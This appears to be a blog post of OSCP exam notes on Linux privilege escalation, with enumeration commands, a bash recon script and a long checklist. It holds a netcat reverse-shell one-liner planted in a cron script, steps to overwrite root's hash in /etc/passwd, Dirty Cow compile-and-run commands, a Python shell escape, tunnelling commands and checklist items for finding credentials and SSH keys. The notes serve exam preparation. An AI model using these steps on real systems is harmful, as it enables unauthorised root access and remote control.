OSCP Notes, Linux PrivEsc Cheat Sheet

Probably one of the hardest parts of the OSCP is PrivEsc. Once you have the shell, you need the highest level of access to complete it. Linux is probably the easiest to enumerate compared to Windows (subjective; it depends on the machine you compromised and who set up the PC). So the goal here is to run a manual search on your target rather than using Linpeas. Honestly, Linpeas is fantastic. However, you can go down a rabbit hole pretty quickly. There’s so much information thrown at you. You may overlook something, so I kept my methods pretty simple. Also, these methods are preferred for red teaming because you don’t want to trigger any alarms, and Linpeas will be detected because it makes a lot of noise.
I start with the basics runs:
id or whoami
sudo -l
find / -user root -perm /4000 2>/dev/null or find / -perm -4000 2>/dev/null
uname -a or cat /etc/issue or cat /etc/os-relase
crontab -l or ls -la /etc/cron* or cat /etc/cron.d/* or grep "CRON0" /var/log/syslog
netstat -tulpn
cd /opt -- check folder
ps aux | grep "^root"
Easy win:
find / -writable -type f 2>/dev/null
If its /etc/passwd, then do this:
openssl passwd <password>
copy the hash
nano /etc/passwd
on root, remove the [x] with new hash
su root with password
First, who am I as this user? Does the user I compromised have sudo permissions?
Second, what SUIDs can I find/use?
Third, what is the kernel version?
Fourth, what cron jobs or scripts are being used?
Fifth, is it possible to port forward with SSH?
Sixth, what is in the /opt folder? Can I find a replacement script/abuse?
Seven, Service exploits?

I like to think ahead here on what is possible. Now, the OSCP is a methodology-focused test and a CTF. Thinking here, the most common attacks I've seen are Sudo, SUIDs, and a bit of kernel attacks like DirtyCow. Will this always be true in the real world? Yes/No. However, the method is still the same. I want root access. It’s no different from gaining the shell. The first check should always be: do I have sudo access? That user may have the right to run scripts or take control of the machine. After that, it's just going to GTFO bins and checking for the command or checking if the user has access to run scripts in Python to change it to this or within its code:
import os; os.system("/bin/bash") -- this has been extremely commonGTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in…gtfobins.org
However, kernel exploits can be extremely unstable. The Linux Exploit Suggester is my first to go to with kernel exploits:
Linux privilege escalation auditing tool. Contribute to The-Z-Labs/linux-exploit-suggester development by creating an…github.com
I go to this first to double-check which version I will use, as intended by the exploit, before execution. Just need to make sure the version works.
Use searchsploit as well to get the program and compile it. However, running this in real life. Always read the READMe! Example:
Dirty Cow exploit - CVE-2016-5195. Contribute to firefart/dirtycow development by creating an account on GitHub.github.com
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
mv /tmp/passwd.bak /etc/passwd --DO THIS STEP!!!! Or wise, revert to a back up image because root is changed to toor.
I’ll be honest: cron jobs are my least favorite attack vector because of their execution timing. It may need to run a few times. Check here first:
grep "CRON" /var/log/syslog
/var/spool/cron/crontabs
/etc/cron.d/
/etc/cron.daily/, .hourly/, .monthly/, .weekly/
/etc/anacrontabTo check what is running, you probably only need the hourly or the minute on the OSCP. I always get stuck, so I run this pspy next:
Monitor Linux processes without root permissions. Contribute to DominicBreuker/pspy development by creating an account…github.com
Once I do find something, like a DLL attack, I go to the reverse shell generator:
https://www.revshells.com/#bind
Because I might have to make something like this:
cd <.scripts or name after enumeration>
echo >> example_script.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> <port> >/tmp/f" >> example_script.sh
cat example_script.sh --make sure its right
and assuming you have netcat up, check it after a few minutesBut it may take minutes to really get going. I would check if it's not a shell after 20 minutes on the test. I would retry it, but it's also hard to pull off because it's mostly timing-dependent.
Portforwarding is pretty simple. Just look for open windows. If they find one (a “forwarded port”), then try to climb through it.
ssh -N -L [Local_IP]:[Local_Port]:[Target_IP]:[Target_Port] [Username]@[Victim_IP]If this doesn’t work, then try to use chisel, it's one idea if you are working on a tricky port, but it's kinda overkill:
A fast TCP/UDP tunnel over HTTP. Contribute to jpillora/chisel by creating a GitHub account.
server:./chisel server -p 1337 --reverse
client:./chisel client <TARGET_IP>:1337 3306:127.0.0.1:3306These are what I would try first before you go down a bad rabbit hole. The answer is already there waiting to be exploited. Now, what if we made this automated? To help save time:
#!/usr/bin/env bash
# Recon script: runs a set of system enumeration commands and saves output to a text file.
set -u # don't use -e; we want to continue even if some commands fail
HOSTNAME="$(hostname 2>/dev/null || echo unknown-host)"
TS="$(date +"%Y%m%d-%H%M%S")"
OUTFILE="recon_${HOSTNAME}_${TS}.txt"
# Pretty printers
hr() { printf '\n%s\n\n' "============================================================"; }
run() {
local desc="$1"; shift
local cmd="$*"
hr | tee -a "$OUTFILE"
printf '[%s] %s\n' "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" "$desc" | tee -a "$OUTFILE"
printf 'Command: %s\n\n' "$cmd" | tee -a "$OUTFILE"
eval "$cmd" 2>&1 | tee -a "$OUTFILE"
}
# Start
hr | tee "$OUTFILE"
printf 'System Recon Report for %s @ %s (UTC)\n' "$HOSTNAME" "$(date -u +"%Y-%m-%d %H:%M:%S")" | tee -a "$OUTFILE"
hr | tee -a "$OUTFILE"
# Identity
run "Current user identity (id / whoami)" 'id; echo; whoami'
# Sudo privileges (may prompt if allowed)
# -n option avoids hanging when password is required in non-interactive runs.
if sudo -n true 2>/dev/null; then
run "Sudo privileges (sudo -l)" 'sudo -n -l'
else
run "Sudo privileges (sudo -l) — may require password" 'sudo -l'
fi
# SUID root binaries
run "SUID binaries owned by root (find / -user root -perm /4000)" 'find / -user root -perm /4000 2>/dev/null'
run "SUID binaries (alternative syntax: -perm -4000)" 'find / -perm -4000 2>/dev/null'
# OS details
run "Kernel and OS release (uname -a)" 'uname -a'
run "Issue banner (/etc/issue)" 'cat /etc/issue 2>/dev/null || echo "/etc/issue not readable"'
# Try both correct and common-typo filenames
run "OS release (/etc/os-release)" 'cat /etc/os-release 2>/dev/null || echo "/etc/os-release not present"'
run "OS release (typo variant: /etc/os-relase)" 'cat /etc/os-relase 2>/dev/null || echo "/etc/os-relase not present"'
# Cron and scheduled tasks
run "User crontab (crontab -l)" 'crontab -l 2>/dev/null || echo "No user crontab or not permitted"'
run "Cron directories listing (ls -la /etc/cron*)" 'ls -la /etc/cron* 2>/dev/null'
run "System crons in /etc/cron.d/*" 'cat /etc/cron.d/* 2>/dev/null || echo "/etc/cron.d/* not readable or empty"'
run "CRON entries in /var/log/syslog (grep \"CRON0\")" 'grep "CRON0" /var/log/syslog 2>/dev/null || echo "No matches or syslog not present"'
# Network listeners
run "Network sockets (netstat -tulpn)" 'netstat -tulpn 2>/dev/null || echo "netstat not available or requires sudo"'
# /opt inspection
run "Check /opt directory" 'ls -la /opt 2>/dev/null || echo "/opt not present or not readable"'
# Root-owned processes
run "Processes owned by root (ps aux | grep \"^root\")" 'ps aux 2>/dev/null | grep "^root" || echo "No matches or ps failed"'
hr | tee -a "$OUTFILE"
printf 'Output saved to: %s\n' "$OUTFILE" | tee -a "$OUTFILE"
hr | tee -a "$OUTFILE"
``This will save to a text file for later review, and it helps reduce the number of commands run at once. I also put this in my GitHub repo here. Just remember to run chmod +x:
https://github.com/HackingHusky/OSCP/blob/main/linuxOS_recon.sh

The output is pretty good and allowed on the OSCP. I run this in case I didn’t see anything at first. But the more you enumerate and make a checklist, the easier and quicker the test will be. Here’s mine:
☐ Run LinPEAS (save output, read slowly).
☐ Run LSE — Linux Smart Enumeration (levels 0–2).
☐ Consider LES (Linux Exploit Suggester) for kernel/OS hints.
☐ Use pspy (if allowed) for process monitoring without root.
☐ Save all outputs for later review — don’t rush this part.
☐ Check OS & kernel info
/etc/os-release
uname -a
☐ Check user & group info
id
groups
/etc/passwd (misconfigs or interesting accounts)
☐ Check sudo permissions
sudo -l
Pay attention to commands runnable without password
☐ Check PATH & environment
echo $PATH
env
☐ Check running processes
ps aux
Look for root‑owned processes interacting with world‑writable locations
☐ Check crontabs
crontab -l
/etc/crontab
/etc/cron.*
☐ Check network info
netstat -tunlp
ss -tunlp
Internal services running as root
Weird ports
☐ Check installed software
Version info for common services
Old/legacy apps or scripts
☐ Look for world‑writable files/directories
/tmp, /var/tmp, /dev/shm
Misconfigured service directories
☐ Look for SUID binaries
find / -perm -4000 -type f 2>/dev/null
Pay attention to custom binaries, uncommon ones
☐ Look for SGID binaries
find / -perm -2000 -type f 2>/dev/null
☐ Look for capabilities
getcap -r / 2>/dev/null
☐ Check for interesting file permissions
Writable config files
Writable scripts executed by privileged users
☐ Check for backup files
.bak, .old, .save, .swp
Developer leftovers
☐ Search for password hints in configuration files
/etc/*.conf, /etc/*.ini, /var/www/…
Credentials in scripts or services
☐ Check history files
.bash_history
Other shell histories
☐ Check environment variables
env
Hidden tokens
☐ Check SSH keys
~/.ssh/id_rsa
World‑readable or exposed private keys
☐ Check database configs
/var/www/html/config.php
/var/www/*/wp-config.php
☐ Search for password hints in configuration files
/etc/*.conf, /etc/*.ini, /var/www/…
Credentials in scripts or services
☐ Check history files
.bash_history
Other shell histories
☐ Check environment variables
env
Hidden tokens
☐ Check SSH keys
~/.ssh/id_rsa
World‑readable or exposed private keys
☐ Check database configs
/var/www/html/config.php
/var/www/*/wp-config.php
☐ Inspect systemd units
/etc/systemd/system/*.service
Writable or misconfigured services
☐ Check timers
/etc/systemd/system/*.timer
☐ Check init scripts
/etc/init.d/
☐ Look for services executing scripts as root
Backup scripts
Custom maintenance scripts
Automation tools (Ansible, Puppet, etc.)
.
☐ Check kernel version
☐ Compare to known vulnerabilities (manual research only)
☐ Identify available development tools
gcc, make, python, etc.
☐ Check for container or virtualization clues
dmesg | grep -i docker
/proc/1/cgroup
☐ Check /etc/ for writable configs
☐ Look at service paths in sudo or systemd configs
☐ Review PATH ordering for hijack opportunities
☐ Review cron jobs for writable scripts
☐ View mounted file systems
mount
df -h
☐ Identify NFS mounts
☐ Look for no_root_squash misconfigs
☐ Look for FUSE or special mounts
When stucked
☐ Re-run enumeration tools with updated flags
☐ Re-read LinPEAS output line by line
☐ Compare notes with known PrivEsc categories
☐ Reset your mindset and re-check basics
☐ Relearn enumeration categories (easy to forget!)
☐ Remember: PrivEsc is 95% visibility and 5% exploitation logic
Thanks again for reading. This is part one of the series of Notes I wanted to start, and hopefully this is helpful. There is much more to this topic; however, for OSCP, these are the quick wins before you get really stuck. Then use linpeas. I added that also to my OSCP repo. That’s all from the Husky Hacker — signing off before something else catches fire. Stay safe, stay patched, and remember: if something breaks, it probably wasn’t me… probably.